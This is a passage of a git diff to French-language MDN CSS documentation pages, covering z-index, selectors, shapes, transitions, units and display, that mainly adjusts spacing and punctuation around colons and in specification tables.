pouvez voir que le bloc _DIV #2_ (z-index : 2) est au dessus du bloc _DIV #3_ (z-index : 1), parce qu'ils appartiennent tout les deux au même contexte d'empilement (celui de la racine), donc les valeurs de `z-index` régissent l'empilement des éléments. -Ce qui peut apparaitre comme étrange, c'est que le bloc _DIV #2_ (z-index : 2) est au dessus du bloc _DIV #4_ (z-index : 10), malgré leurs valeurs de `z-index`. La raison est qu'ils n'appartiennent pas au même contexte d'empilement. Le bloc _DIV #4_ appartient au contexte d'empilement créé par le bloc _DIV #3_, et, comme expliqué précédemment, le bloc _DIV #3_ (et tout son contenu) est au dessous du bloc _DIV #2_. +Ce qui peut apparaitre comme étrange, c'est que le bloc _DIV #2_ (z-index : 2) est au dessus du bloc _DIV #4_ (z-index : 10), malgré leurs valeurs de `z-index`. La raison est qu'ils n'appartiennent pas au même contexte d'empilement. Le bloc _DIV #4_ appartient au contexte d'empilement créé par le bloc _DIV #3_, et, comme expliqué précédemment, le bloc _DIV #3_ (et tout son contenu) est au dessous du bloc _DIV #2_. -Pour mieux comprendre la situation, voici la hiérarchie du contexte d'empilement : +Pour mieux comprendre la situation, voici la hiérarchie du contexte d'empilement : - Contexte d'empilement racine diff --git a/files/fr/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.md b/files/fr/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.md index d41a4a98f4..7326f2438e 100644 --- a/files/fr/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.md +++ b/files/fr/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.md @@ -26,21 +26,21 @@ Le menu de deuxième niveau est positionné en absolu à l'intérieur de son él Ainsi donc, un menu de troisième niveau s'empilera sous les menus de deuxième niveau suivants, car tous les menus de deuxième niveau partagent la même valeur de `z-index` et que les règles d'empilement par défaut s'appliquent. -Pour mieux comprendre la situation, voici la hiérarchie du contexte d'empilement : +Pour mieux comprendre la situation, voici la hiérarchie du contexte d'empilement : - Contexte d'empilement racine - Niveau #1 - - Niveau #2 (z-index : 1) + - Niveau #2 (z-index : 1) - Niveau #3 - … - Niveau #3 - - Niveau #2 (z-index : 1) + - Niveau #2 (z-index : 1) - … - - Niveau #2 (z-index : 1) + - Niveau #2 (z-index : 1) - Niveau #1 - … diff --git a/files/fr/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.md b/files/fr/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.md index 9fdfb30422..3714bbbdbd 100644 --- a/files/fr/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.md +++ b/files/fr/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.md @@ -13,7 +13,7 @@ original_slug: Web/CSS/Comprendre_z-index/Empilement_sans_z-index ## Empilement sans `z-index` -Lorsqu’aucun élément n'a de {{cssxref("z-index")}} définis, tous les éléments sont empilés dans cet ordre (de bas en haut) : +Lorsqu’aucun élément n'a de {{cssxref("z-index")}} définis, tous les éléments sont empilés dans cet ordre (de bas en haut) : 1. Arrière-plans et bordures de l'élément racine 2. Blocs enfants dans le flux normal, dans leur ordre d'apparition (en HTML) diff --git a/files/fr/web/css/css_properties_reference/index.md b/files/fr/web/css/css_properties_reference/index.md index 01e4929b82..7fb3817754 100644 --- a/files/fr/web/css/css_properties_reference/index.md +++ b/files/fr/web/css/css_properties_reference/index.md @@ -9,7 +9,7 @@ translation_of: Web/CSS/CSS_Properties_Reference ## Référence des propriétés CSS usuelles -Voici ci-dessous une liste simple des propriétés CSS les plus fréquemment utilisées avec leur équivalent en notation DOM, habituellement utilisée avec JavaScript : +Voici ci-dessous une liste simple des propriétés CSS les plus fréquemment utilisées avec leur équivalent en notation DOM, habituellement utilisée avec JavaScript : > **Note :** Cette liste n'est pas exhaustive. Pour davantage de propriétés CSS, voir [la référence CSS](/fr/docs/Web/CSS/Reference) et [les extensions CSS spécifiques à Mozilla](/fr/docs/Web/CSS/Mozilla_Extensions). diff --git a/files/fr/web/css/css_scroll_snap/basic_concepts/index.md b/files/fr/web/css/css_scroll_snap/basic_concepts/index.md index 181d8097fc..d92dab4d6f 100644 --- a/files/fr/web/css/css_scroll_snap/basic_concepts/index.md +++ b/files/fr/web/css/css_scroll_snap/basic_concepts/index.md @@ -10,7 +10,7 @@ original_slug: Web/CSS/CSS_Scroll_Snap/Concepts_de_base --- {{CSSRef}} -[Le module de spécification CSS _Scroll Snap_](https://drafts.csswg.org/css-scroll-snap-1/) fournit des outils pour « accrocher » sur certains points lors du défilement dans un document. Un tel comportement peut s'avérer utile pour obtenir un résultat analogue à certaines applications (qu'elles soient mobiles ou non). +[Le module de spécification CSS _Scroll Snap_](https://drafts.csswg.org/css-scroll-snap-1/) fournit des outils pour « accrocher » sur certains points lors du défilement dans un document. Un tel comportement peut s'avérer utile pour obtenir un résultat analogue à certaines applications (qu'elles soient mobiles ou non). ## Principes fondamentaux diff --git a/files/fr/web/css/css_selectors/index.md b/files/fr/web/css/css_selectors/index.md index 7c77728cab..f4f08d3274 100644 --- a/files/fr/web/css/css_selectors/index.md +++ b/files/fr/web/css/css_selectors/index.md @@ -30,7 +30,7 @@ original_slug: Web/CSS/Sélecteurs_CSS **Exemple :** `#toc` permettra de cibler l'élément qui possède l'identifiant `toc` (vraisemblablement défini avec un attribut `id="toc"`). - [Le sélecteur universel](/fr/docs/Web/CSS/Universal_selectors) - : Ce sélecteur permet de cibler tous les nœuds d'un document. Il existe également une variante pour ne cibler qu'un seul espace de noms et une variante pour cibler tous les espaces de noms. - **Syntaxe :** `*` `ns|*` `*|*` + **Syntaxe :** `*` `ns|*` `*|*` **Exemple :** `*` permettra de cibler tous les éléments du document. - [Les sélecteurs d'attribut](/fr/docs/Web/CSS/Attribute_selectors) - : Ce sélecteur simple permet de cibler des éléments d'un document en fonction de la valeur d'un de leurs attributs. @@ -42,17 +42,17 @@ original_slug: Web/CSS/Sélecteurs_CSS - [Les sélecteurs de voisin direct](/fr/docs/Web/CSS/Adjacent_sibling_combinator) - : Le combinateur `'+'` permet de sélectionner les nœuds qui suivent immédiatement un élément donné. **Syntaxe :** `A + B` - **Exemple :** `div + p` permettra de cibler n'importe quel élément {{HTMLElement('p')}} qui suit immédiatement un élément {{HTMLElement('div')}}. + **Exemple :** `div + p` permettra de cibler n'importe quel élément {{HTMLElement('p')}} qui suit immédiatement un élément {{HTMLElement('div')}}. - [Les sélecteurs de voisins](/fr/docs/Web/CSS/General_sibling_combinator) - : Le combinateur `'~'` permet de sélectionner les nœuds qui suivent un élément et qui ont le même parent. **Syntaxe :** `A ~ B` **Exemple :** `p ~ span` permettra de cibler les éléments {{HTMLElement('span')}} qui suivent (immédiatement ou non) un élément {{HTMLElement('p')}} et qui ont le même élément parent. - [Les sélecteurs d'éléments enfants](/fr/docs/Web/CSS/Child_combinator) - - : Le combinateur `'>'` permet de sélectionner les nœuds qui sont des enfants directs d'un élément donné. + - : Le combinateur `'>'` permet de sélectionner les nœuds qui sont des enfants directs d'un élément donné. **Syntaxe :** `A > B` **Exemple :** `ul > li` permettra de cibler tous les éléments {{HTMLElement('li')}} qui sont directement situés sous un élément {{HTMLElement('ul')}}. - [Les sélecteurs d'éléments descendants](/fr/docs/Web/CSS/Descendant_combinator) - - : Le combinateur ` ` (espace) permet de sélectionner les nœuds qui sont des descendants (pas nécessairement des enfants directs) d'un élément donné. + - : Le combinateur ` ` (espace) permet de sélectionner les nœuds qui sont des descendants (pas nécessairement des enfants directs) d'un élément donné. **Syntaxe :** `A B` **Exemple :** `div span` permettra de cibler n'importe quel élément {{HTMLElement('span')}} situé à l'intérieur d'un élément {{HTMLElement('div')}}. - [Le combinateur de colonne](/fr/docs/Web/CSS/Column_combinator){{experimental_inline}} @@ -85,7 +85,7 @@ original_slug: Web/CSS/Sélecteurs_CSS <td>{{Spec2('CSS4 Selectors')}}</td> <td> Ajout du combinateur de colonne (<code>||</code>), des sélecteurs - structurels pour la grille, des combinateurs logiques, des + structurels pour la grille, des combinateurs logiques, des pseudo-classes pour la localisation, la temporisation, les états de ressources, les éléments linguistiques et les éléments relatifs à l'interface utilisateur. Ajout du modificateur de sensibilité à la casse diff --git a/files/fr/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.md b/files/fr/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.md index cd979bb8e2..d0cd480f9c 100644 --- a/files/fr/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.md +++ b/files/fr/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.md @@ -10,13 +10,13 @@ original_slug: Web/CSS/Sélecteurs_CSS/Utiliser_la_pseudo-classe_:target_dans_un --- {{CSSRef}} -Afin d'aider à identifier la destination d'un lien qui mène vers une portion spécifique du document, les [sélecteurs CSS3](https://www.w3.org/TR/css3-selectors/#target-pseudo) ont introduit [la pseudo-classe](/fr/docs/Web/CSS/Pseudo-classes) {{cssxref(":target")}}. +Afin d'aider à identifier la destination d'un lien qui mène vers une portion spécifique du document, les [sélecteurs CSS3](https://www.w3.org/TR/css3-selectors/#target-pseudo) ont introduit [la pseudo-classe](/fr/docs/Web/CSS/Pseudo-classes) {{cssxref(":target")}}. ## Choisir une cible -La pseudo-classe {{cssxref(":target")}} permet de mettre en forme l'élément ciblé par le fragment d'identifiant de l'URL du document. Ainsi l'URL `https://developer.mozilla.org/fr/docs/Utiliser_la_pseudo-classe_:target_dans_un_selecteur#Exemple` contient le fragment d'identifiant `#Exemple`. En HTML, les identifiants correspondent aux valeurs des attributs `id` et `name`, puisque les deux partagent le même espace de nommage. Ainsi l'URL dans l'exemple devrait pointer vers le titre « Exemple » de ce document. +La pseudo-classe {{cssxref(":target")}} permet de mettre en forme l'élément ciblé par le fragment d'identifiant de l'URL du document. Ainsi l'URL `https://developer.mozilla.org/fr/docs/Utiliser_la_pseudo-classe_:target_dans_un_selecteur#Exemple` contient le fragment d'identifiant `#Exemple`. En HTML, les identifiants correspondent aux valeurs des attributs `id` et `name`, puisque les deux partagent le même espace de nommage. Ainsi l'URL dans l'exemple devrait pointer vers le titre « Exemple » de ce document. -Imaginons qu'on souhaite mettre en forme n'importe quel élément {{HTMLElement("h2")}} qui serait la cible de l'URL mais qu'on ne souhaite pas qu'un autre type d'élément ait un style particulier lorsqu'il est ciblé. On peut obtenir cet effet assez simplement : +Imaginons qu'on souhaite mettre en forme n'importe quel élément {{HTMLElement("h2")}} qui serait la cible de l'URL mais qu'on ne souhaite pas qu'un autre type d'élément ait un style particulier lorsqu'il est ciblé. On peut obtenir cet effet assez simplement : ```css h2:target { @@ -24,7 +24,7 @@ h2:target { } ``` -On peut également créer des styles particuliers pour une portion spécifique du document. On peut ainsi utiliser la même valeur identifiant la cible que celle présente dans l'URL. Par exemple, pour ajouter une bordure au fragment `#Exemple`, on pourra écrire : +On peut également créer des styles particuliers pour une portion spécifique du document. On peut ainsi utiliser la même valeur identifiant la cible que celle présente dans l'URL. Par exemple, pour ajouter une bordure au fragment `#Exemple`, on pourra écrire : ```css #Exemple:target { @@ -34,7 +34,7 @@ On peut également créer des styles particuliers pour une portion spécifique d ## Cibler tous les éléments -Si le but est de créer un style commun qui s'appliquera à tous les éléments lorsque ceux-ci seront ciblés, un sélecteur universel utilisant seulement la pseudo-classe s'avèrera très pratique : +Si le but est de créer un style commun qui s'appliquera à tous les éléments lorsque ceux-ci seront ciblés, un sélecteur universel utilisant seulement la pseudo-classe s'avèrera très pratique : ```css :target { @@ -44,7 +44,7 @@ Si le but est de créer un style commun qui s'appliquera à tous les éléments ## Exemple -Dans l'exemple suivant, cinq liens pointent chacun vers une portion du même document. Actionner le lien « Premier », par exemple, fera en sorte que le` <h1 id="un"> `devienne l'élément cible. Notons que le document pourrait défiler vers une nouvelle position, jusqu'à la cible du lien. +Dans l'exemple suivant, cinq liens pointent chacun vers une portion du même document. Actionner le lien « Premier », par exemple, fera en sorte que le` <h1 id="un"> `devienne l'élément cible. Notons que le document pourrait défiler vers une nouvelle position, jusqu'à la cible du lien. ```html <h4 id="un">...</h4> <p id="deux">...</p> @@ -59,7 +59,7 @@ Dans l'exemple suivant, cinq liens pointent chacun vers une portion du même doc ## Conclusion -Les utilisateurs peuvent être gênés lorsqu'un fragment d'identifiant mène à une portion du document, ne sachant pas quelle partie du document ils sont supposés lire. En mettant en forme la cible d'une URI, on peut réduire (voire supprimer) cette confusion. +Les utilisateurs peuvent être gênés lorsqu'un fragment d'identifiant mène à une portion du document, ne sachant pas quelle partie du document ils sont supposés lire. En mettant en forme la cible d'une URI, on peut réduire (voire supprimer) cette confusion. ## Voir aussi diff --git a/files/fr/web/css/css_shapes/overview_of_css_shapes/index.md b/files/fr/web/css/css_shapes/overview_of_css_shapes/index.md index 36d7003216..73aedbaaa1 100644 --- a/files/fr/web/css/css_shapes/overview_of_css_shapes/index.md +++ b/files/fr/web/css/css_shapes/overview_of_css_shapes/index.md @@ -67,7 +67,7 @@ Pour en savoir plus, voir [le guide sur les formes et les boîtes](/fr/docs/Web/ ### Générer une forme à partir d'une image -Une autre méthode qui peut s'avérer utile consiste à générer une forme à partir d'une image et de son canal alpha : le texte épousera alors la forme non-transparente de l'image. On peut alors avoir un texte qui « s'écoule » dans une image ou autour. Cette méthode permet aussi d'avoir une forme plus complexe sans avoir à recourir à un polygone (il n'est pas nécessaire que l'image soit visible). +Une autre méthode qui peut s'avérer utile consiste à générer une forme à partir d'une image et de son canal alpha : le texte épousera alors la forme non-transparente de l'image. On peut alors avoir un texte qui « s'écoule » dans une image ou autour. Cette méthode permet aussi d'avoir une forme plus complexe sans avoir à recourir à un polygone (il n'est pas nécessaire que l'image soit visible). Attention, les images utilisées ainsi doivent être [compatibles avec les règles CORS](/en-US/docs/Web/HTTP/CORS). Se n'est pass le cas, `shape-outside` se comportera comme si elle avait reçu la valeur `none` et il n'y aura alors aucune forme. @@ -95,7 +95,7 @@ Dans l'exemple qui suit, on a une forme simple sur laquelle on ajoute `shape-mar ## Utiliser du contenu généré comme objet flottant -Dans les exemples qui précèdent, nous avons utilisé des images ou des éléments visibles afin de définir la forme. Autrement dit, la forme est visible sur la page. Il se peut également qu'on veuille que le texte suive une ligne invisible qui ne soit pas droite. On pourrait le faire avec une image ensuite rendue invisible mais on aurait alors des éléments redondants dans le document. Aussi, autant utiliser du contenu généré afin de strictement conserver la mise en forme dans la feuille CSS. +Dans les exemples qui précèdent, nous avons utilisé des images ou des éléments visibles afin de définir la forme. Autrement dit, la forme est visible sur la page. Il se peut également qu'on veuille que le texte suive une ligne invisible qui ne soit pas droite. On pourrait le faire avec une image ensuite rendue invisible mais on aurait alors des éléments redondants dans le document. Aussi, autant utiliser du contenu généré afin de strictement conserver la mise en forme dans la feuille CSS. Dans l'exemple qui suit, on utilise du contenu généré afin d'inséer un élément avec une hauteur et une largeur de 150 pixels. On peut alors ensuite utiliser les formes simples, les boîtes de référence ou le canal alpha d'une image afin de créer une forme qu'épouserait le texte. @@ -105,7 +105,7 @@ Dans l'exemple qui suit, on utilise du contenu généré afin d'inséer un élé Les valeurs utilisées pour les formes simples et pour les boîtes de référence sont les mêmes que celles utilisées pour la propriété {{cssxref("clip-path")}}. Ainsi, si on souhaite créer une forme à partir d'une image et rogner une partie de cette image, on pourra utiliser les mêmes valeurs. -Ci-après, on a une image carrée avec un arrière-plan bleu. On a défini la forme avec `shape-outside: ellipse(40% 50%);` puis utilisé `clip-path: ellipse(40% 50%);` afin de rogner l'image pour suivre la forme. +Ci-après, on a une image carrée avec un arrière-plan bleu. On a défini la forme avec `shape-outside: ellipse(40% 50%);` puis utilisé `clip-path: ellipse(40% 50%);` afin de rogner l'image pour suivre la forme. {{EmbedGHLiveSample("css-examples/shapes/overview/clip-path.html", '100%', 800)}} diff --git a/files/fr/web/css/css_text/index.md b/files/fr/web/css/css_text/index.md index d8056a8cc1..7381cd2933 100644 --- a/files/fr/web/css/css_text/index.md +++ b/files/fr/web/css/css_text/index.md @@ -37,6 +37,6 @@ translation_of: Web/CSS/CSS_Text | Spécification | État | Commentaires | | ---------------------------------------------------- | ------------------------------------------------ | ------------------------------------------------------------------------------ | | {{SpecName('CSS Logical Properties')}} | {{Spec2('CSS Logical Properties')}} | Actualise certaines propriétés pour être indépendant de la direction du texte. | -| {{SpecName('CSS3 Text')}} | {{Spec2('CSS3 Text')}} | | -| {{SpecName('CSS2.1', 'text.html')}} | {{Spec2('CSS2.1')}} | | +| {{SpecName('CSS3 Text')}} | {{Spec2('CSS3 Text')}} | | +| {{SpecName('CSS2.1', 'text.html')}} | {{Spec2('CSS2.1')}} | | | {{SpecName('CSS1')}} | {{Spec2('CSS1')}} | Définition initiale. | diff --git a/files/fr/web/css/css_text_decoration/index.md b/files/fr/web/css/css_text_decoration/index.md index d7f695ed7a..b21ac55ad0 100644 --- a/files/fr/web/css/css_text_decoration/index.md +++ b/files/fr/web/css/css_text_decoration/index.md @@ -36,6 +36,6 @@ translation_of: Web/CSS/CSS_Text_Decoration | Spécification | État | Commentaires | | ------------------------------------------------ | -------------------------------------------- | -------------------- | -| {{SpecName('CSS3 Text Decoration')}} | {{Spec2('CSS3 Text Decoration')}} | | -| {{SpecName('CSS2.1', 'text.html')}} | {{Spec2('CSS2.1')}} | | +| {{SpecName('CSS3 Text Decoration')}} | {{Spec2('CSS3 Text Decoration')}} | | +| {{SpecName('CSS2.1', 'text.html')}} | {{Spec2('CSS2.1')}} | | | {{SpecName('CSS1')}} | {{Spec2('CSS1')}} | Définition initiale. | diff --git a/files/fr/web/css/css_transitions/index.md b/files/fr/web/css/css_transitions/index.md index d7fb6abc82..48f7c37130 100644 --- a/files/fr/web/css/css_transitions/index.md +++ b/files/fr/web/css/css_transitions/index.md @@ -10,7 +10,7 @@ translation_of: Web/CSS/CSS_Transitions --- {{CSSRef}} -Les **transitions CSS** permettent de créer des transitions harmonieuses entre les valeurs des propriétés CSS concernées. Elles permettent aussi de définir leur évolution (accélération/décélération), via les fonctions de minutage. +Les **transitions CSS** permettent de créer des transitions harmonieuses entre les valeurs des propriétés CSS concernées. Elles permettent aussi de définir leur évolution (accélération/décélération), via les fonctions de minutage. ## Référence @@ -24,8 +24,8 @@ Les **transitions CSS** permettent de créer des transitions harmonieuses entre ## Guides -- [Utiliser les transitions CSS](/fr/docs/Web/CSS/CSS_Transitions/Utiliser_transitions_CSS) - - : Cet article est un tutoriel expliquant, étape par étape, comment créer une transition CSS. Il décrit chaque propriété CSS utilisée dans le cadre de ces transitions et comment elles interagissent. +- [Utiliser les transitions CSS](/fr/docs/Web/CSS/CSS_Transitions/Utiliser_transitions_CSS) + - : Cet article est un tutoriel expliquant, étape par étape, comment créer une transition CSS. Il décrit chaque propriété CSS utilisée dans le cadre de ces transitions et comment elles interagissent. ## Spécifications @@ -35,4 +35,4 @@ Les **transitions CSS** permettent de créer des transitions harmonieuses entre ## Voir aussi -- Apparentées aux transitions CSS, les [animations CSS](/fr/docs/Web/CSS/Animations_CSS) peuvent déclencher des animations indépendamment du changement des valeurs spécifiées. +- Apparentées aux transitions CSS, les [animations CSS](/fr/docs/Web/CSS/Animations_CSS) peuvent déclencher des animations indépendamment du changement des valeurs spécifiées. diff --git a/files/fr/web/css/css_values_and_units/index.md b/files/fr/web/css/css_values_and_units/index.md index 5f15cc7d9a..c601cdd5ea 100644 --- a/files/fr/web/css/css_values_and_units/index.md +++ b/files/fr/web/css/css_values_and_units/index.md @@ -82,7 +82,7 @@ Une valeur de type {{cssxref("<url>")}} s'utilise avec une notation foncti ```css .box { - background-image: url("images/mon-arriere-plan.png"); + background-image: url("images/mon-arriere-plan.png"); } .box { @@ -173,7 +173,7 @@ Les valeurs temporelles sont de type {{cssxref("<time>")}} et utilisent le | Unité | Nom | Description | | ----- | ------------- | ----------------------- | -| `s` | Secondes | | +| `s` | Secondes | | | `ms` | Millisecondes | Un millième de seconde. | #### Unités de fréquence @@ -269,8 +269,8 @@ Certaines notations fonctionnelles historiques telles que `rgba()` utilisent des <td> Ajout des unités <code>vi</code>, <code>vb</code>, <code>ic</code>, <code>cap</code>, <code>lh</code> et <code>rlh</code>.<br />Ajout des - notations fonctionnelles <code>min()</code>, <code>max()</code> et - <code>clamp()</code>.<br />Ajout de <code>toggle()</code> + notations fonctionnelles <code>min()</code>, <code>max()</code> et + <code>clamp()</code>.<br />Ajout de <code>toggle()</code> </td> </tr> <tr> @@ -279,7 +279,7 @@ Certaines notations fonctionnelles historiques telles que `rgba()` utilisent des <td> Ajout de <code>calc()</code - >, <code>ch</code>, <code>rem</code>, <code>vw</code>, <code>vw</code>, <code>vmin</code>,<code> vmax</code>, <code + >, <code>ch</code>, <code>rem</code>, <code>vw</code>, <code>vw</code>, <code>vmin</code>,<code> vmax</code>, <code >Q</code > </td> @@ -289,13 +289,13 @@ Certaines notations fonctionnelles historiques telles que `rgba()` utilisent des <td>{{Spec2("CSS4 Colors")}}</td> <td> Ajout des syntaxes sans virgule pour les fonctions - <code>rgb()</code>, <code>rgba()</code>, <code>hsl()</code> et - <code>hsla()</code>. Ajout des valeurs alpha pour <code>rgb()</code> et + <code>rgb()</code>, <code>rgba()</code>, <code>hsl()</code> et + <code>hsla()</code>. Ajout des valeurs alpha pour <code>rgb()</code> et <code>hsl()</code>, transformant ainsi <code>rgba()</code> et <code>hsla()</code> en alias respectifs (dépréciés).<br />Ajout du mot-clé de couleur <code>rebeccapurple</code>.<br />Ajout des couleurs sur 4 et 8 chiffres hexadécimaux où le dernier chiffre représente la - valeur alpha.<br />Ajout des fonctions <code>hwb()</code>, <code + valeur alpha.<br />Ajout des fonctions <code>hwb()</code>, <code >device-cmyk()</code > et <code>color()</code>. @@ -306,7 +306,7 @@ Certaines notations fonctionnelles historiques telles que `rgba()` utilisent des <td>{{Spec2("CSS3 Colors")}}</td> <td> Dépréciation des couleurs système. Ajout des couleurs SVG. Ajout des - fonctions <code>rgba()</code>, <code>hsl()</code> et + fonctions <code>rgba()</code>, <code>hsl()</code> et <code>hsla()</code>. </td> </tr> @@ -329,7 +329,7 @@ Certaines notations fonctionnelles historiques telles que `rgba()` utilisent des <tr> <td>{{SpecName("CSS2.1")}}</td> <td>{{Spec2("CSS2.1")}}</td> - <td> </td> + <td></td> </tr> <tr> <td>{{SpecName("CSS1")}}</td> diff --git a/files/fr/web/css/css_writing_modes/index.md b/files/fr/web/css/css_writing_modes/index.md index 1b106f5ad6..874b88744a 100644 --- a/files/fr/web/css/css_writing_modes/index.md +++ b/files/fr/web/css/css_writing_modes/index.md @@ -27,6 +27,6 @@ translation_of: Web/CSS/CSS_Writing_Modes | Spécification | État | Commentaires | | ------------------------------------------------ | ---------------------------------------- | -------------------- | -| {{SpecName('CSS3 Writing Modes')}} | {{Spec2('CSS3 Writing Modes')}} | | -| {{SpecName('CSS2.1', 'text.html')}} | {{Spec2('CSS2.1')}} | | +| {{SpecName('CSS3 Writing Modes')}} | {{Spec2('CSS3 Writing Modes')}} | | +| {{SpecName('CSS2.1', 'text.html')}} | {{Spec2('CSS2.1')}} | | | {{SpecName('CSS1')}} | {{Spec2('CSS1')}} | Définition initiale. | diff --git a/files/fr/web/css/descendant_combinator/index.md b/files/fr/web/css/descendant_combinator/index.md index 2886d00fc1..e4c941fcfc 100644 --- a/files/fr/web/css/descendant_combinator/index.md +++ b/files/fr/web/css/descendant_combinator/index.md @@ -11,7 +11,7 @@ original_slug: Web/CSS/Sélecteurs_descendant --- {{CSSRef("Selectors")}} -Le **combinateur de descendance**, représenté par un blanc (ou plusieurs blancs à la suite) permet de combiner deux sélecteurs (sous la forme `sélecteur₁ sélecteur₂`) afin de cibler les éléments qui correspondent au second sélecteur uniquement si ceux-ci ont un élément ancêtre qui correspond au premier sélecteur. Les sélecteurs qui utilisent ce combinateur sont souvent appelés des sélecteurs de descendants. +Le **combinateur de descendance**, représenté par un blanc (ou plusieurs blancs à la suite) permet de combiner deux sélecteurs (sous la forme `sélecteur₁ sélecteur₂`) afin de cibler les éléments qui correspondent au second sélecteur uniquement si ceux-ci ont un élément ancêtre qui correspond au premier sélecteur. Les sélecteurs qui utilisent ce combinateur sont souvent appelés des sélecteurs de descendants. ```css /* Les éléments <li> qui sont des descendants */ @@ -70,9 +70,9 @@ li li { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ------------------------------------ | -------------------- | -| {{SpecName("CSS4 Selectors", "#descendant-combinators", "descendant combinator")}} | {{Spec2("CSS4 Selectors")}} | | -| {{SpecName('CSS3 Selectors', '#descendant-combinators', 'descendant combinator')}} | {{Spec2('CSS3 Selectors')}} | | -| {{SpecName('CSS2.1', 'selector.html#descendant-selectors', 'descendant selectors')}} | {{Spec2('CSS2.1')}} | | +| {{SpecName("CSS4 Selectors", "#descendant-combinators", "descendant combinator")}} | {{Spec2("CSS4 Selectors")}} | | +| {{SpecName('CSS3 Selectors', '#descendant-combinators', 'descendant combinator')}} | {{Spec2('CSS3 Selectors')}} | | +| {{SpecName('CSS2.1', 'selector.html#descendant-selectors', 'descendant selectors')}} | {{Spec2('CSS2.1')}} | | | {{SpecName('CSS1', '#contextual-selectors', 'contextual selectors')}} | {{Spec2('CSS1')}} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/css/direction/index.md b/files/fr/web/css/direction/index.md index 6fe130080a..4e621b5253 100644 --- a/files/fr/web/css/direction/index.md +++ b/files/fr/web/css/direction/index.md @@ -9,7 +9,7 @@ translation_of: Web/CSS/direction --- {{CSSRef}} -La propriété **`direction`** doit être paramétrée afin de correspondre à la direction du texte: `rtl` (_Right To Left_ pour droite à gauche) pour les textes en hébreu ou en arabe et `ltr` (_Left To Right_ pour gauche à droite) pour les autres. Cela doit normalement être fait dans le document (par exemple, en utilisant [l'attribut `dir` en HTML](/fr/docs/Web/HTML/Attributs_universels/dir)) plutôt qu'avec une feuille de style CSS. +La propriété **`direction`** doit être paramétrée afin de correspondre à la direction du texte: `rtl` (_Right To Left_ pour droite à gauche) pour les textes en hébreu ou en arabe et `ltr` (_Left To Right_ pour gauche à droite) pour les autres. Cela doit normalement être fait dans le document (par exemple, en utilisant [l'attribut `dir` en HTML](/fr/docs/Web/HTML/Attributs_universels/dir)) plutôt qu'avec une feuille de style CSS. {{EmbedInteractiveExample("pages/css/direction.html")}} @@ -59,7 +59,7 @@ blockquote { ```html <blockquote> Du reste, depuis son bain dans la mare aux larmes, - tout était changé : la salle, la table de verre, et + tout était changé : la salle, la table de verre, et la petite porte avaient complétement disparu. </blockquote> ``` diff --git a/files/fr/web/css/display-box/index.md b/files/fr/web/css/display-box/index.md index 59d50659ec..0fdc63cc1c 100644 --- a/files/fr/web/css/display-box/index.md +++ b/files/fr/web/css/display-box/index.md @@ -9,7 +9,7 @@ Ces mots-clés définissent si un élément génère des boîtes d'affichage ou ## Syntaxe -- `contents` {{Experimental_Inline}} +- `contents` {{Experimental_Inline}} - : L'élément ne produit pas de boîte qui lui soit spécifique. Il est remplacé par sa pseudo-boîte et les boîtes de ses enfants. On notera que le module de spécification CSS Display de niveau 3 définit la façon dont la valeur `contents` affecte les éléments « inhabituels » tels que les éléments remplacés. Voir [Appendix B: Effects of display: contents on Unusual Elements](https://drafts.csswg.org/css-display/#unbox) pour plus de détails. diff --git a/files/fr/web/css/display-inside/index.md b/files/fr/web/css/display-inside/index.md index 298e80c95c..dd4940a7a9 100644 --- a/files/fr/web/css/display-inside/index.md +++ b/files/fr/web/css/display-inside/index.md @@ -15,7 +15,7 @@ Ces mots-clés définissent le type d'affichage ({{CSSxRef("display")}}) pour l' Une valeur `<display-inside>` est définie avec l'un des mots-clés suivants : -- `flow` {{Experimental_Inline}} +- `flow` {{Experimental_Inline}} - : L'élément organise son contenu en utilisant la disposition en flux (disposition bloc/en ligne ou « _block and inline layout_ » en anglais). @@ -23,7 +23,7 @@ Une valeur `<display-inside>` est définie avec l'un des mots-clés suivants : Selon la valeur d'autres propriétés (telles que {{CSSxRef("position")}}, {{CSSxRef("float")}}, ou {{CSSxRef("overflow")}}) et selon que l'élément partcipe à un contexte de mise en forme de bloc ou en ligne, l'élément crée un nouveau [contexte de formatage de bloc](/fr/docs/Web/Guide/CSS/Block_formatting_context) (BFC) pour son contenu ou intègre son contenu dans le contexte parent. -- `flow-root` {{Experimental_Inline}} +- `flow-root` {{Experimental_Inline}} - : L'élément génère un bloc qui établit un nouveau [contexte de formatage de bloc](/fr/docs/Web/Guide/CSS/Block_formatting_context), définissant ainsi une nouvelle racine pour le formatage. - `table` - : L'élément se comporte comme un élément HTML {{HTMLElement("table")}}. Il définit une boîte de bloc. @@ -31,7 +31,7 @@ Une valeur `<display-inside>` est définie avec l'un des mots-clés suivants : - : L'élément se comporte comme un élément de bloc et dispose son contenu selon [le modèle des boîtes flexibles](/fr/docs/Web/CSS/CSS_Flexible_Box_Layout). - `grid` - : L'élément se comporte comme un élément de bloc et dispose son contenu selon [le modèle des grilles](/fr/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout). -- `ruby` {{Experimental_Inline}} +- `ruby` {{Experimental_Inline}} - : L'élément se comporte comme un élément en ligne et dispose son contenu selon le modèle de formatage ruby. Il se comporte comme un élément HTML {{HTMLElement("ruby")}}. > **Note :** Les navigateurs qui prennent en charge la syntaxe avec deux valeurs peuvent n'utiliser que `<display-inside>` lorsque c'est cohérent. Ainsi, avec `display: flex` ou `display: grid`, la valeur utilisée de `<display-outside>` sera nécessairement `block`. On a ainsi le résultat attendu car on doit avoir `display: grid` avec un conteneur qui soit un bloc. diff --git a/files/fr/web/css/display-internal/index.md b/files/fr/web/css/display-internal/index.md index c2c6e47a43..9bfa2daafc 100644 --- a/files/fr/web/css/display-internal/index.md +++ b/files/fr/web/css/display-internal/index.md @@ -31,13 +31,13 @@ Sauf mention contraire, le type 